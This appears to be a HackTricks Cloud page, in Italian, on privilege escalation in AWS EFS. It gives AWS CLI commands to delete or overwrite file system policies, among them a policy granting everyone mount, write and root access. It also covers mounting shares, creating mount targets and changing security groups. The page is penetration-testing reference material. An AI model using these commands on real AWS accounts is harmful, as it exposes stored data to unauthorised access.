AWS - EFS Privesc
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
EFS
Ulteriori info su EFS in:
Ricorda che per montare un EFS devi essere in una sottorete in cui l'EFS è esposto e avere accesso ad esso (gruppi di sicurezza). Se ciò accade, per impostazione predefinita, sarai sempre in grado di montarlo, tuttavia, se è protetto da politiche IAM, devi avere le autorizzazioni aggiuntive menzionate qui per accedervi.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
Con una di queste autorizzazioni un attaccante può cambiare la politica del file system per darti accesso ad esso, o semplicemente eliminarlo in modo che venga concesso il accesso predefinito.
Per eliminare la politica:
aws efs delete-file-system-policy \
--file-system-id <value>
Per cambiarlo:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Con questo permesso, un attaccante sarà in grado di montare l'EFS. Se il permesso di scrittura non è concesso per impostazione predefinita a tutti coloro che possono montare l'EFS, avrà solo accesso in lettura.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
I permessi aggiuntivi elasticfilesystem:ClientRootAccess
e elasticfilesystem:ClientWrite
possono essere utilizzati per scrivere all'interno del filesystem dopo che è stato montato e per accedere a quel filesystem come root.
Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel filesystem.
elasticfilesystem:CreateMountTarget
Se un attaccante si trova in una sottorete dove non esiste alcun mount target dell'EFS. Potrebbe semplicemente crearne uno nella sua sottorete con questo privilegio:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.
elasticfilesystem:ModifyMountTargetSecurityGroups
In uno scenario in cui un attaccante scopre che l'EFS ha un target di montaggio nella sua sottorete ma nessun gruppo di sicurezza consente il traffico, potrebbe semplicemente cambiare ciò modificando i gruppi di sicurezza selezionati:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel file system.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.